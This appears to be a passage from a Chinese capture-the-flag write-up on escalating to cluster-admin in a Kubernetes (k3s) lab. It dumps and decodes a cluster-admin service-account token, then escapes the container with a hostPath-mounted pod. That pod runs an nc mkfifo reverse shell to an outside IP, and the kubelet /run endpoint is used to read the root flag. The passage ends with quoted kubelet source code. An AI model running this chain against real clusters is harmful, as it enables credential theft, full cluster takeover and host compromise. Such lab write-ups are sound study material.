└─$ k get secrets --all-namespaces
NAMESPACE NAME TYPE DATA AGE
kube-system unobtainium.node-password.k3s Opaque 1 2y102d
kube-system horizontal-pod-autoscaler-token-2fg27 kubernetes.io/service-account-token 3 2y102d
kube-system coredns-token-jx62b kubernetes.io/service-account-token 3 2y102d
kube-system local-path-provisioner-service-account-token-2tk2q kubernetes.io/service-account-token 3 2y102d
kube-system statefulset-controller-token-b25sg kubernetes.io/service-account-token 3 2y102d
kube-system certificate-controller-token-98jdq kubernetes.io/service-account-token 3 2y102d
kube-system root-ca-cert-publisher-token-t564t kubernetes.io/service-account-token 3 2y102d
kube-system ephemeral-volume-controller-token-brb5h kubernetes.io/service-account-token 3 2y102d
kube-system ttl-after-finished-controller-token-wf8k9 kubernetes.io/service-account-token 3 2y102d
kube-system replication-controller-token-9m8mh kubernetes.io/service-account-token 3 2y102d
kube-system service-account-controller-token-6vsl2 kubernetes.io/service-account-token 3 2y102d
kube-system node-controller-token-dfztj kubernetes.io/service-account-token 3 2y102d
kube-system metrics-server-token-d4k84 kubernetes.io/service-account-token 3 2y102d
kube-system pvc-protection-controller-token-btkqg kubernetes.io/service-account-token 3 2y102d
kube-system pv-protection-controller-token-k8gq8 kubernetes.io/service-account-token 3 2y102d
kube-system endpoint-controller-token-zd5b9 kubernetes.io/service-account-token 3 2y102d
kube-system disruption-controller-token-cnqj8 kubernetes.io/service-account-token 3 2y102d
kube-system cronjob-controller-token-csxvj kubernetes.io/service-account-token 3 2y102d
kube-system endpointslice-controller-token-wrnvm kubernetes.io/service-account-token 3 2y102d
kube-system pod-garbage-collector-token-56dzk kubernetes.io/service-account-token 3 2y102d
kube-system namespace-controller-token-g8jmq kubernetes.io/service-account-token 3 2y102d
kube-system daemon-set-controller-token-b68xx kubernetes.io/service-account-token 3 2y102d
kube-system replicaset-controller-token-7fkxv kubernetes.io/service-account-token 3 2y102d
kube-system job-controller-token-xctqc kubernetes.io/service-account-token 3 2y102d
kube-system ttl-controller-token-rsshv kubernetes.io/service-account-token 3 2y102d
kube-system deployment-controller-token-npk6k kubernetes.io/service-account-token 3 2y102d
kube-system attachdetach-controller-token-xvj9h kubernetes.io/service-account-token 3 2y102d
kube-system endpointslicemirroring-controller-token-b5r69 kubernetes.io/service-account-token 3 2y102d
kube-system resourcequota-controller-token-8pp4p kubernetes.io/service-account-token 3 2y102d
kube-system generic-garbage-collector-token-5nkzj kubernetes.io/service-account-token 3 2y102d
kube-system persistent-volume-binder-token-865v2 kubernetes.io/service-account-token 3 2y102d
kube-system expand-controller-token-f2csp kubernetes.io/service-account-token 3 2y102d
kube-system clusterrole-aggregation-controller-token-wp8k6 kubernetes.io/service-account-token 3 2y102d
default default-token-4pjb9 kubernetes.io/service-account-token 3 2y102d
kube-system default-token-h5tf2 kubernetes.io/service-account-token 3 2y102d
kube-public default-token-c2prf kubernetes.io/service-account-token 3 2y102d
kube-node-lease default-token-7mmh7 kubernetes.io/service-account-token 3 2y102d
dev default-token-w22lv kubernetes.io/service-account-token 3 2y102d
kube-system c-admin-token-b47f7 kubernetes.io/service-account-token 3 2y102d
kube-system k3s-serving kubernetes.io/tls 2 408d

看下具体哪个Service Account权限高一些需要看集群角色绑定,看哪个绑了cluster-admin

1
2
3
└─$ k get clusterrolebindings -o wide | grep cluster-admin
cluster-admin ClusterRole/cluster-admin system:masters
c-admin ClusterRole/cluster-admin 2y102d kube-system/c-admin

可以看到c-admintoken绑到了cluster-admin,那他的权限就到头了

获取c-admin-token-b47f7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
└─$ k get secret c-admin-token-b47f7 -n kube-system -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJlRENDQVIyZ0F3SUJBZ0lCQURBS0JnZ3Foa2pPUFFRREFqQWpNU0V3SHdZRFZRUUREQmhyTTNNdGMyVnkKZG1WeUxXTmhRREUyTmpFM05qVXhOekV3SGhjTk1qSXdPREk1TURreU5qRXhXaGNOTXpJd09ESTJNRGt5TmpFeApXakFqTVNFd0h3WURWUVFEREJock0zTXRjMlZ5ZG1WeUxXTmhRREUyTmpFM05qVXhOekV3V1RBVEJnY3Foa2pPClBRSUJCZ2dxaGtqT1BRTUJCd05DQUFSanpSOWNzN2tpTnRia0Z5dDJDUXR5L1JZRnZUbEFySlFDVmtCb3hyTlcKWFJkMUJnTGs3aE1WRElJZVZUZEV4aXh4VWNSTzhLK3VpMXJ5bnZUTmkzWnBvMEl3UURBT0JnTlZIUThCQWY4RQpCQU1DQXFRd0R3WURWUjBUQVFIL0JBVXdBd0VCL3pBZEJnTlZIUTRFRmdRVVpuaFRWNTd3bzk3R2lwM0Z3QSs0ClZjYnJIMUF3Q2dZSUtvWkl6ajBFQXdJRFNRQXdSZ0loQVBHN25UQzNzOWxIb0lMaVkwK2pkQldYNEFBU2c5bmYKdEFLWll0bXdna2NQQWlFQTlzSDVXeEFDcWNYYkRXY1lURlZxS2kzNlBMbDc1Zll3eG1haVhlN2RBeUk9Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K",
"namespace": "a3ViZS1zeXN0ZW0=",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNkluUnFTRlowT1RoblpFTlZjRGg0U1hsdFRHaGZVMGhFWDNBMlVYQmhNRzAzWDJweFVWWXRNSGxyWTJjaWZRLmV5SnBjM01pT2lKcmRXSmxjbTVsZEdWekwzTmxjblpwWTJWaFkyTnZkVzUwSWl3aWEzVmlaWEp1WlhSbGN5NXBieTl6WlhKMmFXTmxZV05qYjNWdWRDOXVZVzFsYzNCaFkyVWlPaUpyZFdKbExYTjVjM1JsYlNJc0ltdDFZbVZ5Ym1WMFpYTXVhVzh2YzJWeWRtbGpaV0ZqWTI5MWJuUXZjMlZqY21WMExtNWhiV1VpT2lKakxXRmtiV2x1TFhSdmEyVnVMV0kwTjJZM0lpd2lhM1ZpWlhKdVpYUmxjeTVwYnk5elpYSjJhV05sWVdOamIzVnVkQzl6WlhKMmFXTmxMV0ZqWTI5MWJuUXVibUZ0WlNJNkltTXRZV1J0YVc0aUxDSnJkV0psY201bGRHVnpMbWx2TDNObGNuWnBZMlZoWTJOdmRXNTBMM05sY25acFkyVXRZV05qYjNWdWRDNTFhV1FpT2lJek1UYzNPR1F4TnkwNU1EaGtMVFJsWXpNdE9UQTFPQzB4WlRVeU16RTRNR0l4TkdNaUxDSnpkV0lpT2lKemVYTjBaVzA2YzJWeWRtbGpaV0ZqWTI5MWJuUTZhM1ZpWlMxemVYTjBaVzA2WXkxaFpHMXBiaUo5LmZrYV9VVWNlSUpBbzN4bUZsOFJYbmNXRXNaQzNXVVJPdzV4NmRtZ1FoXzgxZWFtMXh5eHFfaWxJejZDajZIN3Y1QmpjZ0lpd3NXVTl1MTN2ZVk2ZEZFck9zZjFJMTBuQURxWkQ2NlZRMjRJNlRMcUZhc1RwblJIR19leldLOFV1WHJaY0hCdTRIcmloNExBYTJycE9SbTh4UkF1TlZFbWliWU5HaGpfUE5lWjZFV1FKdzduODdsaXIybFljcUdFWTExa1hCUlNpbFJVMWdOaFdibktvS1JlR19PVGhpUzVjQ28yZHM4S0RYNkJad3hFcGZXNEE3ZktDLVNkTFlRcTZfaTJFemtWb0JnOFZrMk1sY0doTi0wX3VlcnI2clBiU2k5ZmFRTm9LT1pCWVlmVkhHR00zUURDQWszRHUtWXRCeWxvQkNmVHc4WHlsRzlFdVRndGdaQQ=="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubernetes.io/service-account.name": "c-admin",
"kubernetes.io/service-account.uid": "31778d17-908d-4ec3-9058-1e523180b14c"
},
"creationTimestamp": "2022-08-29T09:32:33Z",
"managedFields": [
{
"apiVersion": "v1",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:data": {
".": {},
"f:ca.crt": {},
"f:namespace": {},
"f:token": {}
},
"f:metadata": {
"f:annotations": {
".": {},
"f:kubernetes.io/service-account.name": {},
"f:kubernetes.io/service-account.uid": {}
}
},
"f:type": {}
},
"manager": "k3s",
"operation": "Update",
"time": "2022-08-29T09:32:33Z"
}
],
"name": "c-admin-token-b47f7",
"namespace": "kube-system",
"resourceVersion": "707",
"uid": "7778ef55-db34-406d-b256-1704ec78236e"
},
"type": "kubernetes.io/service-account-token"
}

替换token

1
└─$ echo 'ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNkluUnFTRlowT1RoblpFTlZjRGg0U1hsdFRHaGZVMGhFWDNBMlVYQmhNRzAzWDJweFVWWXRNSGxyWTJjaWZRLmV5SnBjM01pT2lKcmRXSmxjbTVsZEdWekwzTmxjblpwWTJWaFkyTnZkVzUwSWl3aWEzVmlaWEp1WlhSbGN5NXBieTl6WlhKMmFXTmxZV05qYjNWdWRDOXVZVzFsYzNCaFkyVWlPaUpyZFdKbExYTjVjM1JsYlNJc0ltdDFZbVZ5Ym1WMFpYTXVhVzh2YzJWeWRtbGpaV0ZqWTI5MWJuUXZjMlZqY21WMExtNWhiV1VpT2lKakxXRmtiV2x1TFhSdmEyVnVMV0kwTjJZM0lpd2lhM1ZpWlhKdVpYUmxjeTVwYnk5elpYSjJhV05sWVdOamIzVnVkQzl6WlhKMmFXTmxMV0ZqWTI5MWJuUXVibUZ0WlNJNkltTXRZV1J0YVc0aUxDSnJkV0psY201bGRHVnpMbWx2TDNObGNuWnBZMlZoWTJOdmRXNTBMM05sY25acFkyVXRZV05qYjNWdWRDNTFhV1FpT2lJek1UYzNPR1F4TnkwNU1EaGtMVFJsWXpNdE9UQTFPQzB4WlRVeU16RTRNR0l4TkdNaUxDSnpkV0lpT2lKemVYTjBaVzA2YzJWeWRtbGpaV0ZqWTI5MWJuUTZhM1ZpWlMxemVYTjBaVzA2WXkxaFpHMXBiaUo5LmZrYV9VVWNlSUpBbzN4bUZsOFJYbmNXRXNaQzNXVVJPdzV4NmRtZ1FoXzgxZWFtMXh5eHFfaWxJejZDajZIN3Y1QmpjZ0lpd3NXVTl1MTN2ZVk2ZEZFck9zZjFJMTBuQURxWkQ2NlZRMjRJNlRMcUZhc1RwblJIR19leldLOFV1WHJaY0hCdTRIcmloNExBYTJycE9SbTh4UkF1TlZFbWliWU5HaGpfUE5lWjZFV1FKdzduODdsaXIybFljcUdFWTExa1hCUlNpbFJVMWdOaFdibktvS1JlR19PVGhpUzVjQ28yZHM4S0RYNkJad3hFcGZXNEE3ZktDLVNkTFlRcTZfaTJFemtWb0JnOFZrMk1sY0doTi0wX3VlcnI2clBiU2k5ZmFRTm9LT1pCWVlmVkhHR00zUURDQWszRHUtWXRCeWxvQkNmVHc4WHlsRzlFdVRndGdaQQ=='|base64 -d > token_admin

再一次查看权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
└─$ curl --cacert ca.crt  --header "Authorization: Bearer $(cat token_admin )" -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"kube-system\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://10.10.10.235:8443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
HTTP/1.1 201 Created
Audit-Id: 88f46eb3-acb2-4d6e-99c9-18b9344b64e0
Cache-Control: no-cache, private
Content-Type: application/json
X-Kubernetes-Pf-Flowschema-Uid: 3bc23af6-1f53-44dc-b16a-29214ba5d61c
X-Kubernetes-Pf-Prioritylevel-Uid: 52874081-dd33-48e6-9b8c-6ad0f2e56708
Date: Mon, 09 Dec 2024 08:39:03 GMT
Content-Length: 1487

{
"kind": "SelfSubjectRulesReview",
"apiVersion": "authorization.k8s.io/v1",
"metadata": {
"creationTimestamp": null
},
"spec": {

},
"status": {
"resourceRules": [
{
"verbs": [
"*"
],
"apiGroups": [
"*"
],
"resources": [
"*"
]
},
{
"verbs": [
"create"
],
"apiGroups": [
"authorization.k8s.io"
],
"resources": [
"selfsubjectaccessreviews",
"selfsubjectrulesreviews"
]
}
],
"nonResourceRules": [
{
"verbs": [
"*"
],
"nonResourceURLs": [
"*"
]
},
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/.well-known/openid-configuration",
"/openid/v1/jwks"
]
},
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/api",
"/api/*",
"/apis",
"/apis/*",
"/healthz",
"/livez",
"/openapi",
"/openapi/*",
"/readyz",
"/version",
"/version/"
]
},
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/healthz",
"/livez",
"/readyz",
"/version",
"/version/"
]
}
],
"incomplete": false
}
}

可以看到我们当前的权限变成了*,可以为所欲为,这里还是用常规pod创建的volume挂载的方式进行逃逸

查一下能用的images

1
2
3
4
5
6
7
8
└─$ curl --cacert ca.crt  --header "Authorization: Bearer $(cat token_admin)" -s -k https://10.10.10.235:8443/api/v1/pods|grep '"image"'|sort -u
"image": "alpine:latest",
"image": "localhost:5000/dev-alpine",
"image": "localhost:5000/node_server",
"image": "localhost:5000/node_server:latest",
"image": "rancher/local-path-provisioner:v0.0.21",
"image": "rancher/mirrored-coredns-coredns:1.8.6",
"image": "rancher/mirrored-metrics-server:v0.5.2",

创建一个模板

1
k run new-pod --image='localhost:5000/dev-alpine' --dry-run=client -o yaml > new-pod.yaml

然后改一下,这里8443通过sleep的方式再用exec需要ws,所以这里我会用其他两种方式来演示恶意pod的revshell

首先是command直接弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
└─$ cat my-pod.yaml 
apiVersion: v1
kind: Pod
metadata:
creationTimestamp: null
labels:
run: new-pod
name: new-pod
namespace: kube-system
spec:
containers:
- image: localhost:5000/dev-alpine
name: new-pod-1
command: ["/bin/sh","-c","rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.9 10086 >/tmp/f"]
volumeMounts:
- name: test
mountPath: /a
volumes:
- name: test
hostPath:
path: /
dnsPolicy: ClusterFirst
restartPolicy: Always
status: {}

这种提前开好nc直接接shell就ok 这里不赘述

创建一下

1
2
─$ k apply -f my-pod.yaml            
pod/my-pod created

查看状态

1
2
3
4
5
6
7
└─$ k get -n kube-system pods                                                                                       
NAME READY STATUS RESTARTS AGE
coredns-96cc4f57d-hjgsw 1/1 Running 6 (408d ago) 2y102d
local-path-provisioner-84bb864455-2jcqr 1/1 Running 10 (408d ago) 2y102d
metrics-server-ff9dbcb6c-5sg5s 1/1 Running 7 (408d ago) 2y102d
my-pod 1/1 Running 0 64s
backup-pod 0/1 CrashLoopBackOff 241 (24s ago) 2y102d

而后是10250/run执行命令的方式

1
2
─$ curl -XPOST https://10.10.10.235:10250/run/kube-system/new-pod/new-pod-1 -d 'cmd=cat /a/root/root.txt' -k  -H "Authorization: Bearer $(cat token_admin)"   --cacert ./ca.crt 
xxxx

steamcloud中我没有记录

这个/run其实是在

https://github.com/kubernetes/kubernetes/blob/release-1.30/pkg/kubelet/server/server.go

下面这个部分定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
func (s *Server) getRun(request *restful.Request, response *restful.Response) {
params := getExecRequestParams(request)
pod, ok := s.host.GetPodByName(params.podNamespace, params.podName)
if !ok {
response.WriteError(http.StatusNotFound, fmt.Errorf("pod does not exist"))
return
}

// For legacy reasons, run uses different query param than exec.
params.cmd = strings.Split(request.QueryParameter("cmd"), " ")
data, err := s.host.RunInContainer(request.Request.Context(), kubecontainer.GetPodFullName(pod), params.podUID, params.containerName, params.cmd)
if err != nil {
response.WriteError(http.StatusInternalServerError, err)
return
}
writeJSONResponse(response, data)
}

他在这里被调用,可以看到她下面就是/exec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
func (s *Server) InstallDebuggingHandlers() {
klog.InfoS("Adding debug handlers to kubelet server")

s.addMetricsBucketMatcher("run")
ws := new(restful.WebService)
ws.
Path("/run")
ws.Route(ws.POST("/{podNamespace}/{podID}/{containerName}").
To(s.getRun).
Operation("getRun"))
ws.Route(ws.POST("/{podNamespace}/{podID}/{uid}/{containerName}").
To(s.getRun).
Operation("getRun"))
s.restfulCont.Add(ws)

s.addMetricsBucketMatcher("exec")
ws = new(restful.WebService)
ws.
Path("/exec")
ws.Route(ws.GET("/{podNamespace}/{podID}/{containerName}").
To(s.getExec).
Operation("getExec"))
ws.Route(ws.POST("/{podNamespace}/{podID}/{containerName}").
To(s.getExec).
Operation("getExec"))
ws.Route(ws.GET("/{podNamespace}/{podID}/{uid}/{containerName}").
To(s.getExec).
Operation("getExec"))
ws.Route(ws.POST("/{podNamespace}/{podID}/{uid}/{containerName}").
To(s.getExec).
Operation("getExec"))
s.restfulCont.Add(ws)